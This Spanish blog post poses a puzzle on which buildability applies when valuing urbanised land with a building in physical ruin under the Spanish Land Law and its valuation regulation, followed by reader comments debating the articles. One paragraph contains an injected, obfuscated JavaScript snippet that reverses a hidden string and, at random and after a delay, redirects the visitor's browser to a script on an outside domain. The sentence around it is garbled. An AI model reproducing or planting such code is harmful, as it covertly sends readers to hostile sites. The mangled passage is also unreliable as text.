[Pasatiempos] Valoración de terreno urbanizado con edificio en ruina

Siguiendo con esta nueva serie de pasatiempos, os sugerimos resolver un pequeño acertijo sobre cómo se han de valorar los terrenos urbanizados con edificio en situación legal de ruina física.

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Fuente: Heraldo de Soria

El suelo rural se valora según la renta de la explotación ($NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to Refundido de la Ley de Suelo (vigente)” href=”https://www.boe.es/buscar/act.php?id=BOE-A-2008-10792#a24″ target=”_blank”>art. 24.1 TRLS), salvo que se encuentre en actuación de reforma o renovación (La cuestión es qué edificabilidad se tiene en cuenta cuando un suelo está edificado y la edificación está en situación de ruina.

El Real Decreto 1492/2011, de 24 de octubre, por el que se aprueba el Reglamento de valoraciones de la Ley de Suelo, nos dice:

 Artículo 20. Determinación del uso y edificabilidad de referencia del suelo urbanizado no edificado a efectos de valoración.

1. Se considerarán como uso y edificabilidad de referencia los atribuidos a la parcela por la ordenación urbanística, incluido en su caso el de vivienda sujeta a algún régimen de protección que permita tasar su precio máximo en venta o alquiler.

2. Cuando se trate de suelo urbanizado sometido a actuaciones de reforma o renovación de la urbanización, se tomará la edificabilidad media ponderada del ámbito espacial en que se integren.

3. Si los terrenos no tienen asignada edificabilidad o uso privado por la ordenación urbanística, se les atribuirá la edificabilidad media, así definida en el artículo siguiente…

Artículo 21. Edificabilidad media del ámbito espacial homogéneo.

A los efectos de lo dispuesto en el apartado tercero del artículo anterior, para determinar la edificabilidad media del ámbito espacial homogéneo se aplicará la siguiente expresión: 

medio

Artículo 22. Valoración en situación de suelo urbanizado no edificado.

1. El valor en situación de suelo urbanizado no edificado, o si la edificación existente o en curso sea ilegal o se encuentre en situación de ruina física, se obtendrá aplicando a la edificabilidad de referencia determinada según lo dispuesto en el artículo anterior, el valor de repercusión del suelo según el uso correspondiente, de acuerdo con la siguiente expresión: 

residual

 

A la vista de estos tres artículos, planteamos nuevamente la pregunta para que escojáis entre las siguientes respuestas:

  1. Se aplicará la edificabilidad materializada.
  2. Se aplicará la edificabilidad definida por la ordenación actual.
  3. Se aplicará la edificabilidad definida por la ordenación en el momento de la declaración legal de la ruina.
  4. Se aplicará la edificabilidad definida cuando se construyó.
  5. Se aplicará la edificabilidad media del ámbito espacial homogéneo. 

Más opciones para el caso de que estuviera inserto en una actuación de reforma o renovación de la urbanización, cómo se valoraría

  1. Se aplicará la edificabilidad en situación de origen (¿qué origen?)
  2. Se le descontará el valor de los deberes y cargas pendientes para poder realizar la edificabilidad prevista (¿la futura?).
  3. Otra respuesta….

¿Estaremos ante un reglamento contra legem o ante una nueva falta de observación del redactor?

 

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Álvaro Cerezo

Álvaro Cerezo, Doctor Arquitecto (ETSAM, UPM), Arquitecto (ETSASS, UPV/EHU). Profesor Ayudante Doctor –ANECA- y Adjunto –UNIBASQ-. Profesor de la Cátedra UNED- Instituto Lincoln de Políticas de Suelo. Director de la Sociedad pública Puerto Deportivo el Abra – Getxo S.A. Ha sido arquitecto municipal en el Ayuntamiento de Zalla. Máster en valoraciones UPC-EM-REV y experto en Urbanismo, Derecho Urbanístico, Valoraciones, Ordenación y Gestión del Territorio y Evaluación ambiental. Experto en proyectos europeos (URBACT III, Regeneración urbana integrada, Medioambiente, Vivienda sostenible, Financiación de proyectos urbanos, Apoyo a las autoridades locales y otras partes interesadas en el diseño y ejecución de políticas integradas y participativas). ECA Residuos nivel I. Ha sido docente de la EVETU (IVAP) y en la UPV/EHU, Universidad de Deusto, UP-Cataluña, UP-Valencia y en instituciones INAP y ERAP, así como diversos colegios profesionales.
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7 pensamientos en “[Pasatiempos] Valoración de terreno urbanizado con edificio en ruina

  1. Xavier Inglada

    Hola Álvaro,
    Lo enrevesado no es la legislación, a pesar de los evidentes problemas de uso de la sintaxis por parte del legislador.
    Lo que ocurre es que tu pregunta tiene un “poquillo” de trampa.
    Estamos hablando de valorar suelo (terreno), por lo tanto deberíamos saber qué calificación urbanística tiene el terreno edificado de que nos hablas. ¿ Es Suelo Urbano?, en ese caso, ¿es Suelo Urbano Consolidado, o no consolidado?, ¿está dentro de un ámbito de gestión urbanística? o está en Suelo Urbanizable? y finalmente: ¿es Suelo No Urbanizable por el Planeamiento, pero urbanizado y edificado? (parece mentira, pero en España los tenemos a mansalva). Son situaciones diferentes que afectarán particularmente al valor del “terreno”.
    Manos a la obra:
    Si es Suelo Urbano Consolidado y la parcela tiene aprovechamiento se valora de acuerdo con el 20.1 del Reglamento.
    Si es Suelo Urbano Consolidado pero el planeamiento no atribuye aprovechamiento privado a la parcela por que (por ejemplo) lo destina a sistema de espacios libres (zona verde, vialidad, etc.) se valora de acuerdo con el articulo 22 del Reglamento dándole una edificabilidad a efectos sólo de valoración igual a la edificabilidad media del ámbito espacial homogéneo en que esté incluida la parcela según la fórmula del articulo 22 del Reglamento. Sobre esa edificabilidad se aplicará un valor de repercusión del suelo de acuerdo con la tipología que haya edificada. Si no hubiese edificación o ésta estuviese en estado de ruina se determinará un valor de repercusión también teórico, de acuerdo con la fórmula del artículo 22 del Reglamento.
    Si la parcela edificada está dentro de algún ámbito de gestión urbanística o de suelo urbanizable, en lo que el 24.3 del TRLS define como “en actuación de reforma o renovación”, la edificabilidad prevista a efectos de valoración no será la definida por el planeamiento en vigor (que se está reformando), si no que será la que tenia la parcela de acuerdo con el planeamiento en vigor cuando se edificó inicialmente.
    En cualquiera de los casos, al valor obtenido yo le restaría finalmente el coste de demolición y desescombro del edificio que se halla en estado de ruina física.
    Un cordial saludo

  2. Álvaro Cerezo Autor de la entrada

    Hola Xavier.

    Muchas gracias por tu comentario. Quizás se me olvidó matizar la valoración señalada era urbanística (distinta de la catastral e hipotecaria), puesto que en estas, las valoraciones son ajenas a la clasificación del suelo (EM VI 2º TRLS) y por tanto se valoran en función de su situación básica (urbanizado o rural, art 12 TRLS y criterios generales para la valoración art 22 TRLS).

    En el supuesto que yo hacía referencia, nos encontramos ante un caso de suelo en situación de urbanizado, con un edificio en ruina. Igualmente, hemos de recordar que el estado de ruina sobreviene de la tramitación de un expediente ruina y que por tanto es ajeno al estar incurso de una actuación urbanística (se presupone que reforma o renovación de la urbanización o dotación en su caso, por estar en situación de urbanizado).

    El pasatiempo que os proponía estaba referido a que edificabilidad adoptar a la hora de valorar, la que la ley denomina “por la ordenación en su situación de origen».

    Ese “origen”, cuál es?, porque un solar puede tener más o menos edificabilidad asignada por el planeamiento que la materializada, e incluso ha podido pasar por varios planeamientos con distintas edificabilidades….

    Si a esta definición más que dudosa, le añadimos que el RD 1492/2011 (RVal) en su art 22 indica “obtendrá aplicando a la edificabilidad de referencia determinada según lo dispuesto en el artículo anterior” y el anterior es el 21, Edificabilidad media del ámbito espacial homogéneo, pues el lio puede ser morrocotudo.
    Por que cuando dice anterior, a cual se refiere al 20? al 21? a ninguno en concreto?…..

    De ahí las distintas posibilidades que surgen en función de las posibles lecturas y el planteamiento del pasatiempos propuesto.

    Qué te parece?

  3. Antonia Gomila Romero

    Y, por seguir con los pasatiempos, ¿cuál sería el valor de una vivienda ilegal, respecto de la que ha sido suspendida la orden de demolición?
    Estoy pensando en una licencia otorgada al entender que era suelo urbano consolidado y que fue declarada nula por estar ante un falso urbano (la sentencia anuló también las Normas subsidiarias)
    La orden de demolición resta suspendida y, si pasara el plazo de quince años sin que nadie instare su demolición , prescribiría la acción de derribo.
    Nuestra intención es intentar que no se proceda al derribo pero reclamar responsabilidad por los daños que ya se están produciendo incluso sin derribo ( la pérdida de valor del inmueble por no poder vender ni hipotecar en condiciones normales, daños Morales, etc).

    Así las cosas y al día de la fecha:
    – El suelo es rústico (y por su superficie no puede albergar edificación alguna)
    – La casa puede ser objeto de demolición pero dicha orden está suspendida (si se llegare a tal derribo, se solicitaría la totalidad del valor en su día pagado, más derribó, costes financieros, etc, etc)
    – en el mejor de los casos y si pasaran los quince años, quedaría fuera de ordenación.

    ¿Cuál sería la pérdida de valor del inmueble al día de hoy?

    Yo no creo que pudiera ser cero como alguien me ha apuntado. Sigo disponiendo de una vivienda en la que, de momento, puedo vivir o que puedo alquilar y que tiene, por tanto, un valor por más que sea ilegal.

    Yo creo que podría ser el valor de mercado, menos el valor que le correspondería si fuese un fuera de ordenación (insisto en que, en caso de demolición, se podría reclamar el resto de la indemnización).

    ¿Qué opinas?

  4. Natxo Tejerina

    Hola Antonia.

    Las razones que aduces para dar valor una edificación no Ajustada a la legalidad son comprensibles, pero la lex, dura lex, es rotunda (art. 23 TRLS). Y lo que no fue legal cuando se construyo y no se ha legalizado con posterioridad, es ilegal aunque haya prescripción o este suspendida la orden de demolición, porque prescrito no es igual que legalizado, aunque a algunos efectos puedan ser equiparables.

    Y no solo la dura lex, la Sentencia del Tribunal Supremo de 12/02/2014 (Roj STS 559/2014) es esclarecedora. También puedes leer aquí en orbenismo.es un post sobre este tema: Construcciones ilegales prescritas: valoración. Ya siento el jarro de agua fría que, por lo que dices, no es el primero.

  5. juan argudin

    Hola, en primer lugar presentarme pues esta es mi primera intervención.

    ¡¡¡¡Buen acertijo, Alvaro !!!….a ver si acierto en algo:

    1. En una aplicación “fría” de la norma reglamentaria parece clara la respuesta 5ª: “Se aplicará la edificabilidad media del ámbito espacial homogéneo” (remisión del art 22.1 al art. 21, ambos del Reglamento).

    2. Pero, si buceamos más en el asunto, entiendo que deber de aplicarse la edificabilidad que resulta la ordenación urbanística contenida en el planeamiento de aplicación, salvo que estemos suelo urbanizado sometido a actuaciones de reforma o renovación de la urbanización (art. 24 del TRLS de 2008).

    3. Es totalmente incongruente el que a un terreno (supongamos que tenga la condición de solar)por el solo hecho de ubicar un edificio en ruina se le de un tratamiento diferente que a un terreno en situación urbanizado no edificado. No sé qué criterios o que justificaciones ha tenido -si es que los ha tenido-, el legislador para penalizar (o mejorar, pues la edificabilidad media puede resultar mayor que la asignada por la fijada por la ordenación) un terreno que tenga una edificación en ruina.
    Pongamos el ejemplo de dos solares colindantes con aprovechamiento lucrativo, uno con una edificación en situación legal de ruina fisca y otro sin edificación. En ambos la ordenación urbanística señala un volumen edificable, pero al primero se le aplica, según la norma, una edificabilidad media, mientras que al segundo se le aplica el que fije el planeamiento de aplicación (en vigor).

    4. Por otro lado:¿Qué razón existiría para ir a una edificabilidad diferente a la fijada ya por el Plan?. Siguiendo con el ejemplo anterior, lo lógico es que el planeamiento en vigor ya determine un volumen edificable para ambos solares, y, por tanto, la edificabilidad que establezca la ordenación detallada debería ser la aplicable.

    5. La Ley identifica la situación de ruina física con el suelo urbanizado no edificado (art. 24.1 TRLS de 2008), ofreciendo dos posibilidades:

    – que la ordenación urbanística asigne uso y edificabilidad.

    – que no les asigne la ordenación eficabilidad edificabilidad o uso privado en cuyo caso se les atribuirá la edificabilidad media y el uso mayoritario en el ámbito espacial homogéneo.

    Por lo tanto, si existe ordenación urbanística que fije el uso y la edificabilidad, no debemos irnos a la aplicación de la edificabilidad media como parece desprenderse del Reglamento de desarrollo.

    Artículo 24.1 y 2 del TRLS. Valoración en el suelo urbanizado
    1. Para la valoración del suelo urbanizado que no está edificado, o en que la edificación existente o en curso de ejecución es ilegal o se encuentra en situación de ruina física:
    a) Se considerarán como uso y edificabilidad de referencia los atribuidos a la parcela por la ordenación urbanística, incluido en su caso el de vivienda sujeta a algún régimen de protección que permita tasar su precio máximo en venta o alquiler.
    Si los terrenos no tienen asignada edificabilidad o uso privado por la ordenación urbanística, se les atribuirá la edificabilidad media y el uso mayoritario en el ámbito espacial homogéneo en que por usos y tipologías la ordenación urbanística los haya incluido.
    b) Se aplicará a dicha edificabilidad el valor de repercusión del suelo según el uso correspondiente, determinado por el método residual estático.
    c) De la cantidad resultante de la letra anterior se descontará, en su caso, el valor de los deberes y cargas pendientes para poder realizar la edificabilidad prevista.
    2. Cuando se trate de suelo edificado o en curso de edificación, el valor de la tasación será el superior de los siguientes:
    a) El determinado por la tasación conjunta del suelo y de la edificación existente que se ajuste a la legalidad, por el método de comparación, aplicado exclusivamente a los usos de la edificación existente o la construcción ya realizada.
    b) El determinado por el método residual del apartado 1 de este artículo, aplicado exclusivamente al suelo, sin consideración de la edificación existente o la construcción ya realizada.

    6. Caso de tratarse de suelo urbanizado sometido a actuaciones de reforma o renovación de la urbanización, el método residual considerará los usos y edificabilidades atribuidos por la ordenación en su situación de origen.

    Artículo 24.3 del TRLS.- Cuando se trate de suelo urbanizado sometido a actuaciones de reforma o renovación de la urbanización, el método residual a que se refieren los apartados anteriores considerará los usos y edificabilidades atribuidos por la ordenación en su situación de origen.

    En este supuesto será la edificabilidad de origen la aplicable, entendiéndose por “edificabilidad de origen” la atribuida inicialmente por el Plan (Parejo y Roger). Por lo tanto, si hay una alteración del planeamiento que varie la edificabilidad (al igual, los usos), y a los efectos valorativos, se tomará la edificabilidad que se quiere variar, no la que le dará el nuevo plan.
    Sé que en ocasiones la cuestión se complica, por ejemplo cuando no se conoce la edificabilidad antigua asignada por el Plan.

    Respecto a tu última reflexión sobre si “¿Estaremos ante un reglamento contra legem o ante una nueva falta de observación del redactor?”, me temo que estamos ante las dos cosas; es decir, la falta de observancia del legislador implica que la norma reglamentaria sea contraria a la Ley que desarrolla.

  6. Alfons Garrido Espinel

    Buenos días,
    Estoy muy de acuerdo con lo comentado anteriormente por Juan Argudin.
    Creo que en el planteamiento de la pregunta hace falta distinguir básicamente dos supósitos previos. Si está o no incorporado en un ámbito de renovación o reforma.y en el caso que no lo estuviero, hemos de saber que “qualificación” urbanística tiene el solar, porque de ello dependera la edificabilidad a utilizar.
    1- Si tiene assignada edificabilidad por el plan, entonces se aplica el art. 24.1.a “se considerarán como uso y edificabilidad de referencia los atribuidos a la parcela por la ordenación urbanística, incluido en su caso el de vivienda sujeta a algún régimen de protección que permita tasar su precio máximo en venta o alquiler”
    2- Pero lo lógico es que su qualificación sea de sistema, i que por eso se ha de expropiar y valorar, en ese caso no tiene otorgada edificabilidad por el planeamiento y debemos utilizar “se les atribuirá la edificabilidad media y el uso mayoritario en el ámbito espacial homogéneo en que por usos y tipologías la ordenación urbanística los haya incluido”.
    3- Únicament si el solar está incorporado en un ámbito de renovación o reforma entonces seria de aplicación la edificabilidad en su situación de origen que se corresponderia que la edificabilidad determinada por el planeamiento anterior a su incusión en el ambito de renovación o reforma. “Artículo 24.3 del TRLS.- Cuando se trate de suelo urbanizado sometido a actuaciones de reforma o renovación de la urbanización, el método residual a que se refieren los apartados anteriores considerará los usos y edificabilidades atribuidos por la ordenación en su situación de origen.”
    Me parece una reflexión senzilla pero que intenta interpretar de foma “coherente y técnica” dentro de las possibildades y las opciones valorativas que nos da esta Ley .
    4- Para finalizar creo que únicament interviene la edificabilidad efectivamente construida en el cso de valor el solar por la edificabilidad asignada por el plan cuando la Ley dice que “2. Cuando se trate de suelo edificado o en curso de edificación, el valor de la tasación será el superior de los siguientes:
    a) El determinado por la tasación conjunta del suelo y de la edificación existente que se ajuste a la legalidad, por el método de comparación, aplicado exclusivamente a los usos de la edificación existente o la construcción ya realizada.
    b) El determinado por el método residual del apartado 1 de este artículo, aplicado exclusivamente al suelo, sin consideración de la edificación existente o la construcción ya realizada”. En este caso si debe valorarse la edificación construida a tasación de mercado.
    Bien, espero haber ayudado a la “interpretación” de esta Ley, pero sobre todo darte / daros las gracias por vuestros planteaminetos i comentarios que hacen que cada dia podamos aprender un poco mas.
    Saludos,

  7. juliojulio

    Yo de estos asuntos tengo poca idea, pero me veo afectado por la situación siguiente:
    – Soy copropietario de un edificio que tiene en el Dpto. de Urbanismo un expediente de ruina técnica, pendiente de ordenar su demolición.
    – Este edificio tiene dos copropietarios con puertas individuales a la calle que dan
    acceso a cada piso.
    – En la escritura de compra venta se transmite y se segrega de la finca matriz la planta primera y a la vez se transmiten los derechos de sobreedificación sobre esa
    planta en exclusiva , todo lo que se construya arriba en un futuro edificio pasa a ser propiedad del primer piso (el edificio es de dos plantas, bajo y principal ).
    -La pregunta es: ¿Si en el tiempo que se hizo la escritura de segregación, no habia
    ninguna ordenanza que autorizara más plantas, existe en el momento actual el
    derecho que se transmitió?.
    – Se pudo transmitir un derecho al vuelo inexistente en el momento que se hizo la
    escritura?.

    Saludos y Gracias.
    ,

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